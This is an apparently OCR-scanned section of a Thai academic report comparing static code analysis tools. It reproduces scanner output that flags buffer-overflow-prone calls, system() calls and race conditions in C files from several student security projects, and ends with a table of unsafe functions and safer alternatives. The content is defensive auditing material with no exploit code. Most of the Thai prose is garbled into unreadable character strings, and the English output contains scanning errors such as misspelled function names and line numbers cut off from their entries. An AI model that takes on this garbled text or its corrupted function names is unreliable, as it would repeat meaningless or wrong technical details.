8. wWaaninla asdwaanaisulnildSsuios



Extensions Themes  Updates

| %&Eﬂ Web Content Filtering 200 - I S

=N Fitter content and image romWeb Site.
Qpiiusns [ Disable H Uninstall ]

’\z./ Find Updates Get Estensions

St

< o 3| a
1l 5.12 Swasiiluneidu 2.0.0 Seuios

56
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T

UN 6

=y d
Insomazagy

6.1 unagy

'
=K Y '

o [ o . 9 o
msnan Tdsunsuaty szdssmug lldumswaunTisansuldianuasads
[] " [ A =; q’w [] T o v A o -2 < 9 -~
nnves Inianutasads suiludsiiine: liuwswarouimin uadiesiisdanis 19amesen
¥ ’ E4
udamswaunldsunsulilianudasadoawaiiudu  szemsoudloilgm Sntude
’ * Z A o o
aldelumsud lvilgw 1danhimsudilamudiefannTilsunsuaSouda
P Sldyw o :: dy o VYo o Y 3/ gy o <2
ninlassnui latisailunsall hldgianilaniud et lelumsaszuinds
o o =2 VR 9 [ 1 Q’II
anuiasassyosmsian Tsunsy sauds ladnuinmisadwanuilasadelunrasduney
3 A 4 r v
A199 1992905 InseNALS (SDLC) maweuTysunsudenimded s asasedens
g o ¢ o A A = o q ¥ v 4
QIBNENABYA  HarmINIInATINATENBANY N v ldsunTutlaeadaenisgn

Jines Tories Inas 14

6.2 So1salasnlanninseny

Tsunsuesn@ouTisunsuIag lisgdasz A lums 19Mandu madsemedauls
<] ~ o v ' 4 ° [}
Hudu Wumeignlend Taserdere Tnimamendindla deewazrimn lldnsyninves
= - s oA Ao a -
Aloud Tagd TowRmursoiee 18dn3ga soulBems Taaimidsznudauims Seaunse
v Y a a 9/ [V v A A o Vel [
nelhidanuidome Idifiuduunn Tasmmizededslunutd  delufinisdanis
' ° 1 <& v [
wiennui liane derilugesIniligaynsald

: o= = - ' J g (Y ] 9/
ﬂ%uuiﬂillﬂium'ﬂi%Qﬂ')iﬁﬂﬁWQQ‘BOQIﬂ’JLUSQﬁuﬁluﬂ’]ﬁL‘UUHIﬂil!ﬂi‘ﬂ VOAIT

o o A qy % Nz o D o 1
TEUATE N !Wﬂiﬂ‘ﬁaﬂ@l!nﬁuu“ﬂ'ﬂlﬂl‘u@!!ﬂSQUQ"Uu

6.3 Jayriguassanazuamalunisudly

1. luns@eulde munsodeu ldvarenuu i ldmsasieaon Tne TUsunsy VulnScan
o 9 o 9 3 LY [] 9 :: 9
prnaderanainld 1iwadns ligndesionuald
¥
2. Tusunsu VulnScan uamsonstngen Ida ldiNean g
3. T15un3y OverflowGuard @ 1sailesdulduadiuvesaunn tazasvasy laiios

Tindadu
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9y ¥

4. TumsiinsasavasunmisdiudsanesfudmSuudaz Tusunsuiu uanaasia

Y o = = Y = ° Y

My, anvazmsiinmyelsunsy niivzadnluganariannsotilyly
Auynq Tsunsu'la

A =] /A d @ w oo w A 3 a e s ¢ 1 0,:
5. lﬂ3ﬂ\ill’e]ﬂﬂﬁVI?)‘Hl%ﬂ‘lﬁ-lUQ%“]ﬂlWﬂQllﬂUUizUUﬂf‘]Uﬂﬂﬁ’luiﬂ’lﬁm'mu

6.4 UUIMINAUIND

1. WarnTusuasy VulnScan TdannsasesSumsasteasumadeuTysunsylavaie
] -~ @ [ [ kY
MY 15U Fwdanda , 911, Twseu fludu
¥
2. Warn11sunsy OverflowGuard M dlostunmsfansu v ldvanvatouiniu
3. Wannldsunsuflestumsinalenes Iwatouq wu sulenes Wad
4. W Ta)34n5u Fault injection tool M amrsadalduugiing, dynd uaziiony

v i 48 -
FUDU INUIAN
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MANUIN N.

HanInMIase IaameFuenguInsenuaiee luded ISAG

1. nguIA33914 Network Security Suite

3'Wdfeo 1 Firelog.c 2 Firescreen.c 3 Firescreend.c

1 Firelog.c

Entries in C database: 69

Line: 17 Fixed sized buffer

Line: 33 Fixed sized buffer

Line: 34 Fixed sized buffer

Line: 52 Fixed sized buffer

Extra care should be taken to ensure that character arrays that are allocated on the stack are
used safely. They are prime targets for buffer overflow attacks.

Line: 74 . strcpy
Does not check for buffer overflows when copying to destination
Consider using strncpy or stricpy (warning, strncpy is easily misused)

Line: 71 : fgets

Double check that your buffer is as big as you specify.When using functions that accept a
number n of bytes to copy, such as strncpy, be aware that if the dest buffer size = n it may
not NULL-terminate the string.

Line: 69 : fopen

Line: 91 : fopen

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

[ 9 4 Ed
MInHaMsAsaRUNLYATatnne IkiRailgw sauiadu 8 9a 9InTAaanua 97 ussiia Tag

flugandeslinnusyasy age 0g 2 9a ldun

Line: 52 ; fixed size local buffer

9 o 1 1 o o d” dy
nnmsasedeumslFauvesdns wun hififlymnewAavnuaingail

Line: 74 : strcpy

] [ 9 = v o = [} ~
‘tﬂﬂﬂ'ﬁﬂi?ﬁ]ﬂ@UWU?“ﬂuﬂ']ﬁﬂﬂaE)ﬂIﬂU“UﬂlAau‘Uu’]ﬂﬁ’l']ﬂu!ﬁ“ﬂ N"lmf]u‘n
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Entries in C database: 69

Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:

25 Fixed sized buffer
38 Fixed sized buffer
80 Fixed sized buffer
87 Fixed sized buffer
172 Fixed sized buffer
198 Fixed sized buffer
201 Fixed sized buffer
243 Fixed sized buffer
382 Fixed sized buffer
411 Fixed sized buffer
412 Fixed sized buffer

Extra care should be taken to ensure that character arrays that are allocated on the stack are

used safely. They are prime targets for buffer overflow attacks.

Line:
Line:
Line:
Line:
Line;
Line:
Line:
Line:
Line:
Line:
Line:

Does not check for buffer overflows when copying to destination
Consider using strncpy or strlcpy (warning, strncpy is easily misused)

Line:
Line:
Line:
Line:
Line:
Line:
Line;
Line;
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:
Line:

195 : strcpy
315 : strcpy
317 : strcpy
320 : strcpy
322 : strcpy
327 : strcpy
329 : strcpy
334 : strcpy
336 : strepy
341 : strepy
343 : strcpy

255 : strcat
256 : strcat
263 : strcat
264 : strcat
271 : strcat
272 : strcat
279 : strcat
280 : strcat
287 : strcat
288 : strcat
294 : strcat
295 : strcat
301 : strcat
302 : strcat
308 : strcat
309 : strcat
316 : strcat
321 : strcat
323 : strcat
324 : strcat
328 : strcat
330 : strcat
331 : strcat
335 : strcat
337 : strcat
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Line: 338 : strcat

Line: 342 : strcat

Line: 344 : strcat

Line: 345 : strcat

Line: 350 : strcat

Line: 352 : strcat

Line: 354 : strcat

Does not check for buffer overflows when concatenating to destination
Consider using strncat or stricat (warning, strncat is easily misused)

Line: 370 : system

Line: 371 : system

Argument 1 to this function call should be checked to ensure that it does not come from an
untrusted source without first verifying that it contains nothing dangerous.

Line: 182 : fopen

Line: 187 : fopen

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

Line: 178 : open

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

H ¥
nawamsaswasnInadieTsunsy wudmuganerie Winalyniianua 59 90 91n1Aa

3/
o/ o

470 u339ia TasnnmsasrvasunuiiugaiidesldanusedassSaga dudl
Line:38: fixed size local buffer
nnmMsasegovnuInTusns i luiims 4
Line:243; fixed size local buffer
nmsasegounuInudnsitns dauinn @esdensinativines Te

1 b 4
o3 IWadgs uusih 1914 Reddudidosadulunisiou fududlsi

Line;256: strcat Line:309: strcat Line:338: strcat
Line:264: strcat Line:316: strcat Line:342; strcat
Line:272: strcat Line:321: strcat Line:345: strcat
Line:280: strcat Line:324: strcat Line:354: strcat
Line:288: strcat Line:328: strcat
Line:295: strcat Line:331: strcat

Line:302: strcat Line:335: strcat
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J = 3y ¥ g o Ve [ b4
nnmsasnaoununenailgml1d Sdeyamnnunhifidulszsesla

Line:317: strcpy
Line:322: strcpy
Line:329: strcpy
Line:336: strcpy

Line:343; strcpy

wuiilugaiidsasemanailgrwin arsnlaouinld simepy() unuiedlsady

- ~ d?‘ I
HTaymnermnatiula

3 Firescreend.c

Entries in C database: 69

Line: 45 : system

Line: 48 : system

Argument 1 to this function call should be checked to ensure that it does not come from an
untrusted source without first verifying that it contains nothing dangerous.

Line: 28 : umask
umask() can easily be used to create files with unsafe priviledges. It should be set to

restrictive values.

[ v
nAMIRsaeuwuiyafiote Idinailyn 1 99 9inldaianua 52 ussiia

Line :28: umask

Tuwuilymilan
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2. ntjsﬂmaam Incident Respond System

1 Wd e 1 Watsonkung.c

1 Watsonkung.c

Entries in C database: 69

Line: 88 Fixed sized buffer

Line: 92 Fixed sized buffer

Line: 94 Fixed sized buffer

Line: 97 Fixed sized buffer

Line: 98 Fixed sized buffer

Line: 99 Fixed sized buffer

Line: 100 Fixed sized buffer

Line: 101 Fixed sized buffer

Line: 102 Fixed sized buffer

Line: 103 Fixed sized buffer

Line: 104 Fixed sized buffer

Line: 160 Fixed sized buffer

Extra care should be taken to ensure that character arrays that are aliocated on the stack are
used safely. They are prime targets for buffer overflow attacks.

Line: 33 : wescpy

Line: 279 : wescpy

Line: 281 : wecscpy

Line: 285 : wcscpy

Line: 295 : wcscpy

Line: 296 : wescpy

Does not check for buffer overflows when copying to destination

Consider using a function version that stops copying at the end of the buffer

Line: 31 : memcpy

Line: 43 : memcpy

Line: 238 : memcpy

Line: 261 : memcpy

Line: 326 : memcpy

Line: 331 : memcpy

Line: 339 : memcpy

Line: 340 : memcpy

Line: 352 : memcpy

Line: 407 : memcpy

Line: 463 : memcpy

Does not check for buffer overflows when copying to destination
Make sure destination can always hold the source data

Line: 32 : strcpy

Line: 232 : strcpy

Line: 234 : strcpy

Line: 240 : strcpy

Line: 248 : strcpy

Line: 249 : strcpy

Does not check for buffer overflows when copying to destination
Consider using strncpy or stricpy (warning, strncpy is easily misused)
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Line: 36 : strcat

Line: 345 : strcat

Line: 347 : strcat

Line: 354 : strcat

Line: 367 : strcat

Line: 368 : strcat

Does not check for buffer overflows when concatenating to destination
Consider using strncat or stricat (warning, strncat is easily misused)

Line: 38 : wcscat

Line: 400 : wescat

Line: 402 : wcscat

Line: 409 : wcscat

Line: 422 : wescat

Line: 423 : wcscat

Does not check for buffer overflows when copying to destination
Make sure destination can always hold the source data

Line: 30 : strncpy

Line: 209 : strncpy

Line: 211 : strncpy

Line: 215 : strncpy

Line: 223 : strncpy

Line: 224 : strncpy

Easily used incorrectly; doesn't always \\O-terminate or
check for invalid pointers

Line: 37 : strncat

Line: 375 : strncat

Line: 377 : strncat

Line: 382 : strncat

Line: 393 : strncat

Line: 394 : strncat

Easily used incorrectly (e.g., incorrectly computing the correct maximum size to add)
Consider stricat or automatically resizing strings

Line: 40 : gets

Line: 481 : gets

Line: 483 : gets

Line: 485 : gets

Line: 486 : gets

gets is unsafe!! No bounds checking is performed, buffer is easily overflowable by user. Use
fgets(buf, size, stdin) instead.

Line: 90 : sprintf

Line: 161 : sprintf

Check to be sure that the format string passed as argument 2 to this function call does not
come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain * %s' without precision
that could result in a buffer overflow.

Use snprintf or vsnprintf

Line: 448 : strlen
This function does not properly handle non-NULL terminated strings. This does not result in
exploitable code, but can lead to access violations.

Line: 41 : realpath
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Line: 455 : realpath

Line: 457 : realpath

Line: 465 : realpath

Line: 474 : realpath

Line: 475 : realpath

This function does not protect against buffer overflows and some implementations can
overflow internally

Ensure that the destination buffer is at least of size MAXPATHLEN, and to protect against
implementation problems, the input argument should also be checked to ensure it is no larger
than MAXPATHLEN

Line: 39 : getwd

Line: 431 : getwd

Line: 433 : getwd

Line: 438 : getwd

Line: 449 : getwd

Line: 450 : getwd

This does not protect against buffer overflows by itself, so use with caution
Use getcwd instead

Line: 485 : fgets

Line: 486 : fgets

Double check that your buffer is as big as you specify.When using functions that accept a
number n of bytes to copy, such as strncpy, be aware that if the dest buffer size = n it may
not NULL-terminate the string.

Line: 447 : getc
Check buffer boundaries if calling this function in a loop and make sure you are not in danger
of writing past the allocated space.

nnMsasvdeunugaiioaymiguuse 17 99 910180 500 Ussia fai

Line :53: syslog m
mnmsmnaau"hhim:nﬁﬂﬂum1mnq¢1ffwmz ANNEIANS I UIR T
gaunuly

Line :93: fixed size local buffer

Line :103: fixed size local buffer

Line :108: fixed size local buffer

Line :109: fixed size local buffer

Line :165: fixed size local buffer

Line :558: fixed size local buffer
MamMsasvaeunud mslFoudumunsFauhen Wimsdsedens
GESILNE

Line :95: sprintf

Line :166: sprintf
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Line :260: strcpy

'hilﬁﬂ’ﬂmommﬂigmf m312481uN13 overwrite library function
Line :328: wescpy

"lmﬁﬂﬂngmmnqﬂf‘; 51213 overwrite library function
Line :430: strcat

”liinﬁﬂijn;mmﬂgﬂf W51215Un3 overwrite library function
Line :465: strncat

"liizﬁﬂﬂnumwmf\@ﬂf: m3w1ilun1s overwrite library function
Line :496: wcscat

"lihﬁﬂﬂmumﬂmqﬂf: ws1215un13 overwrite library function
Line :528: getwd

Taiifatlneingafi 3 1Eums overwrite library function
Line :553: realpath

LiRailymnnyail msEums overwrite library fanction
Line :583: gets

¥
"lumﬂﬂq;mmmmu (W3985 overwrite library function
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3. nq’uimaam Public Key Infrastructure and Biometric Application

3'lWd e 1 Ssl_connect.c 2 Certutil.c 3 Isagq.c

1 Ssl_connect.c

Entries in C database: 69

Line: 12 Fixed sized buffer

Line: 13 Fixed sized buffer

Line: 17 Fixed sized buffer

Line: 18 Fixed sized buffer

Line: 100 Fixed sized buffer

Extra care should be taken to ensure that character arrays that are allocated on the stack are
used safely. They are prime targets for buffer overflow attacks.

Line: 32 : strcpy
Does not check for buffer overflows when copying to destination
Consider using strncpy or stricpy (warning, strncpy is easily misused)

Line: 27 : sprintf

Check to be sure that the format string passed as argument 2 to this function call does not
come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain " %s' without precision
that could result in a buffer overflow.

Use snprintf or vsnprintf

Line: 31 : fgets

Double check that your buffer is as big as you specify.When using functions that accept a
number n of bytes to copy, such as strncpy, be aware that if the dest buffer size = n it may
not NULL-terminate the string.

Line: 66 : read
Check buffer boundaries if calling this function in a loop and make sure you are not in danger
of writing past the allocated space.

Line: 24 : fopen

Line: 48 : fopen

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

Line: 25 : open

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.
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Line : 12 : fixed size local buffer
Line ; 13 : fixed size local buffer

Line : 17 : fixed size local buffer
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Line : 18 : fixed size local buffer
Line : 100 : fixed size local buffer
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Line : 27 : sprintf
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2 Certutil.c

Entries in C database: 69

Line: 19 Fixed sized buffer

Line: 27 Fixed sized buffer

Line: 48 Fixed sized buffer

Line: 49 Fixed sized buffer

Line: 53 Fixed sized buffer

Line: 108 Fixed sized buffer

Line: 110 Fixed sized buffer

Line: 114 Fixed sized buffer

Line: 174 Fixed sized buffer

Line: 175 Fixed sized buffer

Line: 179 Fixed sized buffer

Line: 208 Fixed sized buffer

Line: 230 Fixed sized buffer

Line: 231 Fixed sized buffer

Line: 232 Fixed sized buffer

Line: 233 Fixed sized buffer

Line: 290 Fixed sized buffer

Extra care should be taken to ensure that character arrays that are allocated on the stack are
used safely. They are prime targets for buffer overflow attacks.

Line: 210 : memcpy
Does not check for buffer overflows when copying to destination
Make sure destination can always hold the source data

Line: 216 : strcpy

Line: 217 : strcpy

Line: 225 : strcpy

Does not check for buffer overflows when copying to destination
Consider using strncpy or stricpy (warning, strncpy is easily misused)

Line: 164 : strncpy

Line: 223 : strncpy

Easily used incorrectly; doesn't always \\O-terminate or
check for invalid pointers

Line: 50 : sprintf

Line: 181 : sprintf

Line: 221 : sprintf

Check to be sure that the format string passed as argument 2 to this function call does not
come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain " %s' without precision
that could result in a buffer overflow.
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Use snprintf or vsnprintf

Line: 164 : strlen

Line: 223 : strlen

Line: 225 : strlen

This function does not properly handle non-NULL terminated strings. This does not result in
exploitable code, but can lead to access violations.

Line: 89 : read

Line: 91 : read

Line: 189 : read

Line: 297 : read

Line: 299 : read

Line: 315 : read

Line: 324 : read

Check buffer boundaries if calling this function in a loop and make sure you are not in danger
of writing past the allocated space.

Line: 311 : system
Argument 1 to this function call should be checked to ensure that it does not come from an
untrusted source without first verifying that it contains nothing dangerous.

Line: 66 : fopen

Line: 75 : fopen

Line: 88 : fopen

Line: 152 : fopen

Line: 296 : fopen

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

Line: 3 : open

Line: 4 : open

Line: 5 : open

Line: 6 : open

Line: 10 : open

Line: 183 : open

Line: 184 : open

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.
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Line : 48 : fixed size local buffer
Line : 49 : fixed size local buffer
Line : 174 : fixed size local buffer
Line : 175 : fixed size local buffer
Line : 208 : fixed size local buffer

Line : 290 : fixed size local buffer
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Line : 50 : sprintf
Line : 181 : sprintf
Line : 221 : sprintf
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3 Isagq.c

Entries in C database: 69

Line: 50 Fixed sized buffer
Line: 60 Fixed sized buffer
Line: 61 Fixed sized buffer
Line: 62 Fixed sized buffer
Line: 96 Fixed sized buffer
Line: 111 Fixed sized buffer
Line: 116 Fixed sized buffer
Line: 121 Fixed sized buffer
Line: 126 Fixed sized buffer
Line: 148 Fixed sized buffer
Line: 151 Fixed sized buffer
Line: 182 Fixed sized buffer
Line: 207 Fixed sized buffer
Line: 226 Fixed sized buffer
Line: 229 Fixed sized buffer
Line: 230 Fixed sized buffer
Line: 231 Fixed sized buffer
Line: 232 Fixed sized buffer
Line: 233 Fixed sized buffer
Line: 241 Fixed sized buffer
Line: 245 Fixed sized buffer
Line: 246 Fixed sized buffer
Line: 247 Fixed sized buffer
Line: 335 Fixed sized buffer
Line: 396 Fixed sized buffer
Line: 467 Fixed sized buffer
Line: 468 Fixed sized buffer
Line: 789 Fixed sized buffer
Extra care should be taken to ensure that character arrays that are allocated on the stack are
used safely. They are prime targets for buffer overflow attacks.

Line: 196 : memcpy

Line: 210 : memcpy

Does not check for buffer overflows when copying to destination
Make sure destination can always hold the source data

Line: 153 : strcat

Line: 157 : strcat

Does not check for buffer overflows when concatenating to destination
Consider using strncat or stricat (warning, strncat is easily misused)

Line: 318 : strncpy




75

Easily used incorrectly; doesn't always \\O-terminate or
check for invalid pointers

Line: 66 : sprintf

Line: 100 : sprintf

Line: 114 : sprintf

Line: 119 : sprintf

Line: 124 : sprintf

Line: 129 : sprintf

Line: 152 : sprintf

Line: 156 : sprintf

Line: 166 : sprintf

Line: 253 : sprintf

Line: 257 : sprintf

Line: 336 : sprintf

Line: 420 : sprintf

Line: 472 : sprintf

Line: 500 : sprintf

Line: 693 : sprintf

Check to be sure that the format string passed as argument 2 to this function call does not
come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain " %s' without precision
that could result in a buffer overflow.

Use snprintf or vsnprintf

Line: 81 : strlen

Line: 196 : strlen

Line: 218 : strlen

Line: 255 : strlen

Line: 256 : strien

Line; 259 : strlen

Line: 260 : strlen

This function does not properly handle non-NULL terminated strings. This does not result in
exploitable code, but can lead to access violations.

Line: 164 : fgets

Double check that your buffer is as big as you specify.When using functions that accept a
number n of bytes to copy, such as strncpy, be aware that if the dest buffer size = n it may
not NULL-terminate the string.

Line: 74 : read

Line: 286 : read

Check buffer boundaries if calling this function in a loop and make sure you are not in danger
of writing past the allocated space.

Line: 67 : system
Argument 1 to this function call should be checked to ensure that it does not come from an
untrusted source without first verifying that it contains nothing dangerous.

Line: 69 : fopen

Line: 189 : fopen

Line: 282 : fopen

Line: 473 : fopen

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.
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Line:
Line:
Line:
Line:
Line:
Line:
A potential race condition vulnerability exists here. Normally a call to this function is

66 : open
70 : open
163 : open
190 : open
194 : open
283 : open

vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

¥
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Line :
Line :
Line :
Line :
Line :
Line :
Line :
Line :
Line :
Line :
Line :
Line :
Line :

Line :

Line :
Line :
Line :
Line :
Line :
Line :

Line :

60 :
61:
62 :
148
151

182:
207 :
226 :

241

247 :
335:
396 :
467 :
468 :

1 k4
Hums aulas lidsedenisifailguimanue

66 :
100

114 :
119
124 :
129 :
152:

fixed size local buffer

fixed size local buffer

fixed size local buffer

: fixed size local buffer
: fixed size local buffer
fixed size local buffer
fixed size local buffer
fixed size local buffer
: fixed size local buffer
fixed size local buffer
fixed size local buffer
fixed size local buffer
fixed size local buffer

fixed size local buffer

sprintf

: sprintf
sprintf
sprintf
sprintf
sprintf

sprintf




Line : 156 : sprintf
Line : 166 : sprintf
Line : 253 : sprintf
Line : 257 : sprintf
Line : 336 : sprintf
Line : 420 : sprintf
Line : 472 : sprintf
Line : 500 : sprintf
Line : 693 : sprintf
Argument 2 1nonunasiiFede 14 Salivuduilaym
Line : 67 : system
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4. nguIA3991U Anti Rootkits

1 Wd An1 Syscall_check_code.c

1 Syscall_check_code.c
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Entries in C database: 69

Line: 76 Fixed sized buffer

Line: 97 Fixed sized buffer

Line: 421 Fixed sized buffer
Line: 428 Fixed sized buffer
Line: 441 Fixed sized buffer
Line: 448 Fixed sized buffer
Line: 451 Fixed sized buffer
Line: 452 Fixed sized buffer
Line: 468 Fixed sized buffer
Line: 483 Fixed sized buffer
Line: 485 Fixed sized buffer
Line: 486 Fixed sized buffer
Line: 495 Fixed sized buffer
Line: 498 Fixed sized buffer
Line: 502 Fixed sized buffer
Line: 507 Fixed sized buffer
Line: 508 Fixed sized buffer
Line: 509 Fixed sized buffer
Line: 510 Fixed sized buffer
Line: 511 Fixed sized buffer
Line: 569 Fixed sized buffer
Line: 572 Fixed sized buffer
Line: 845 Fixed sized buffer
Line: 850 Fixed sized buffer
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Line: 859 Fixed sized buffer
Line: 861 Fixed sized buffer
Line: 863 Fixed sized buffer
Line: 864 Fixed sized buffer
Line: 866 Fixed sized buffer
Line: 873 Fixed sized buffer
Line: 919 Fixed sized buffer
Line: 920 Fixed sized buffer
Line: 922 Fixed sized buffer
Line: 923 Fixed sized buffer
Line: 952 Fixed sized buffer
Line: 954 Fixed sized buffer
Line: 956 Fixed sized buffer
Line: 960 Fixed sized buffer
Line: 961 Fixed sized buffer
Line: 962 Fixed sized buffer
Line: 972 Fixed sized buffer
Line: 974 Fixed sized buffer
Line: 981 Fixed sized buffer
Line: 984 Fixed sized buffer
Line: 985 Fixed sized buffer
Line: 1094 Fixed sized buffer
Line: 1099 Fixed sized buffer
Line: 1100 Fixed sized buffer
Line: 1101 Fixed sized buffer
Line: 1103 Fixed sized buffer
Line: 1107 Fixed sized buffer
Line: 1108 Fixed sized buffer
Line: 1110 Fixed sized buffer
Extra care should be taken to ensure that character arrays that are allocated on the stack are
used safely. They are prime targets for buffer overflow attacks.

Line: 76 : memcpy

Line: 117 : memcpy

Does not check for buffer overflows when copying to destination
Make sure destination can always hold the source data

Line: 954 : strcpy

Line: 960 : strcpy

Line: 961 : strcpy

Line: 962 : strcpy

Line: 984 : strcpy

Does not check for buffer overflows when copying to destination
Consider using strncpy or stricpy (warning, strncpy is easily misused)

Line: 452 : strncat

Line: 508 : strncat

Easily used incorrectly (e.g., incorrectly computing the correct maximum size to add)
Consider strlcat or automatically resizing strings

Line: 439 : fgets

Line: 480 : fgets

Double check that your buffer is as big as you specify.When using functions that accept a
number n of bytes to copy, such as strncpy, be aware that if the dest buffer size = n it may

not NULL-terminate the string.

Line: 46 : read
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Line: 622 : read

Line: 772 : read

Line: 778 : read

Line: 1084 : read :

Check buffer boundaries if calling this function in a loop and make sure you are not in danger
of writing past the allocated space.

Line: 424 : system
Line: 431 : system

Line: 435 : system

Line: 465 : system

Line: 471 : system

Line: 475 : system

Line: 681 : system

Line: 704 : system

Line: 708 : system

Line: 712 : system

Line: 716 : system

Line: 720 : system

Line: 725 : system

Line: 739 : system

Line: 740 : system

Line: 745 : system

Line: 746 : system

Line: 751 : system

Line: 752 : system

Line: 844 : system

Line: 866 : system

Line: 873 : system

Line: 967 : system

Line: 995 : system

Line: 1000 : system

Line: 1005 : system

Line: 1010 : system

Argument 1 to this function call should be checked to ensure that it does not come from an
untrusted source without first verifying that it contains nothing dangerous.

Line: 431 : fopen

Line: 436 : fopen

Line: 471 : fopen

Line: 476 : fopen

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.

Line: 99 : open

Line: 435 : open

Line: 475 : open

Line: 756 : open

Line: 760 : open

Line: 1074 : open

Line: 1078 : open

A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could
still exist that could not be detected.
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Line :
Line :
Line :

Line :

Line :

Line :

Line :

207: fixed size loéal buffer
540: fixed size local buffer
547: fixed size local buffer
587: fixed size local buffer
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571: strncat
627: strncat
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meaNuasasenis ¥ stricat() unu

1087: strcpy
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Istrepy : Does not check for buffer overflows when copying to destination Consider using a

function version that stops copying at the end of the buffer

wcsepy : Does not check for buffer overflows when copying to destination Consider using a

function version that stops copying at the end of the buffer

_tesepy : Does not check for buffer overflows when copying to destination Consider using a

function version that stops copying at the end of the buffer

_mbscpy : Does not check for buffer overflows when copying to destination Consider using a

function version that stops copying at the end of the buffer

memcpy : Does not check for buffer overflows when copying to destination Make sure

destination can always hold the source data

CopyMemory : Does not check for buffer overflows when copying to destination Make sure

destination can always hold the source data

beopy : Does not check for buffer overflows when copying to destination Make sure destination

can always hold the source data

strepy : Does not check for buffer overflows when copying to destination Consider using strncpy

or strlcpy (warning, strncpy is easily misused)

strcat : Does not check for buffer overflows when concatenating to destination Consider using

strncat or strlcat (warning, strncat is easily misused)
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Istreat : Does not check for buffer overflows when copying to destination Make sure destination

can always hold the source data

wescat : Does not check for buffer overflows when copying to destination Make sure destination

can always hold the source data

_tescat : Does not check for buffer overflows when copying to destination Make sure destination

can always hold the source data

_mbscat : Does not check for buffer overflows when copying to destination Make sure

destination can always hold the source data

strncpy : Easily used incorrectly; doesn't always \\O-terminate or check for invalid pointers

Istrepyn : Easily used incorrectly; doesn't always \\O-terminate or check for invalid pointers

wesnepy : Easily used incorrectly; doesn't always \\0-terminate or check for invalid pointers

_tesnepy : Easily used incorrectly; doesn't always \\O-terminate or check for invalid pointers

_mbsnbcpy : Easily used incorrectly; doesn't always \\Q-terminate or check for invalid pointers

strncat : Easily used incorrectly (e.g., incorrectly computing the correct maximum size to add)

Consider stricat or automatically resizing strings

Istrcatn : Easily used incorrectly (e.g., incorrectly computing the correct maximum size to add)

Consider strlcat or automatically resizing strings

wesncat : Easily used incorrectly (e.g., incorrectly computing the correct maximum size to add)

Consider stricat or automatically resizing strings
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_tesncat : Easily used incorrectly (e.g., incorrectly computing the correct maximum size to add)

Consider strlcat or automatically resizing strings

_mbsnbcat : Easily used incorrectly (e.g., incorrectly computing the correct maximum size to

add) Consider strlcat or automatically resizing strings

streepy : Subject to buffer overflow if buffer is not as big as claimed CEnsure that destination

buffer is sufficiently large

strcadd : Subject to buffer overflow if buffer is not as big as claimed CEnsure that destination

buffer is sufficiently large

gets : gets is unsafe!! No bounds checking is performed, buffer is easily overflowable by user.

Use fgets(buf, size, stdin) instead.

_getts : Does not check for buffer overflows Use fgets() instead

sprintf : Check to be sure that the format string passed as argument 2 to this function call does
not come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain *%s' without precision that

could result in a buffer overflow. Use snprintf or vsnprintf

vsprintf : Check to be sure that the format string passed as argument 2 to this function call does
not come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain *%s' without precision that

could result in a buffer overflow. Use snprintf or vsnprintf

swprintf : Check to be sure that the format string passed as argument 2 to this function call does
not come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain '%s' without precision that

could result in a buffer overflow. Use snprintf or vsnprintf
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vswprintf : Check to be sure that the format string passed as argument 2 to this function call does
not come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain *%s' without precision that

could result in a buffer overflow. Use snprintf or vsnprintf

_stprintf : Check to be sure that the format string passed as argument 2 to this function call does
not come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain *%s’ without precision that

could result in a buffer overflow. Use snprintf or vsnprintf

_vstprintf : Check to be sure that the format string passed as argument 2 to this function call does
not come from an untrusted source that could have added formatting characters that the code is
not prepared to handle. Additionally, the format string could contain *%s' without precision that

could result in a buffer overflow. Use snprintf or vsnprintf

scanf : The scanf() family's input operation, without a limit specification specify a limit to %s, or

use a different input function

vscanf : The scanf() family's input operation, without a limit specification specify a limit to %s,

or use a different input function

wscanf : The scanf() family's input operation, without a limit specification specify a limit to %s,

or use a different input function

_tscanf : The scanf() family's input operation, without a limit specification specify a limit to %s,

or use a different input function

Fscanf : The scanf() family's input operation, without a limit specification specify a limit to %bs,

or use a different input function

sscanf : The scanf() family's input operation, without a limit specification specify a limit to %s, or

use a different input function
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vsscanf : The scanf() family's input operation, without a limit specification specify a limit to %s,

or use a different input function

vfscanf : The scanf() family's input operation, without a limit specification specify a limit to %es,

or use a different input function

_ftscanf : The scanf() family's input operation, without a limit specification specify a limit to %s,

or use a different input function

strlen : This function does not properly handle non-NULL terminated strings. This does not result

in exploitable code, but can lead to access violations.

weslen : This function does not properly handle non-NULL terminated strings. This does not

result in exploitable code, but can lead to access violations,

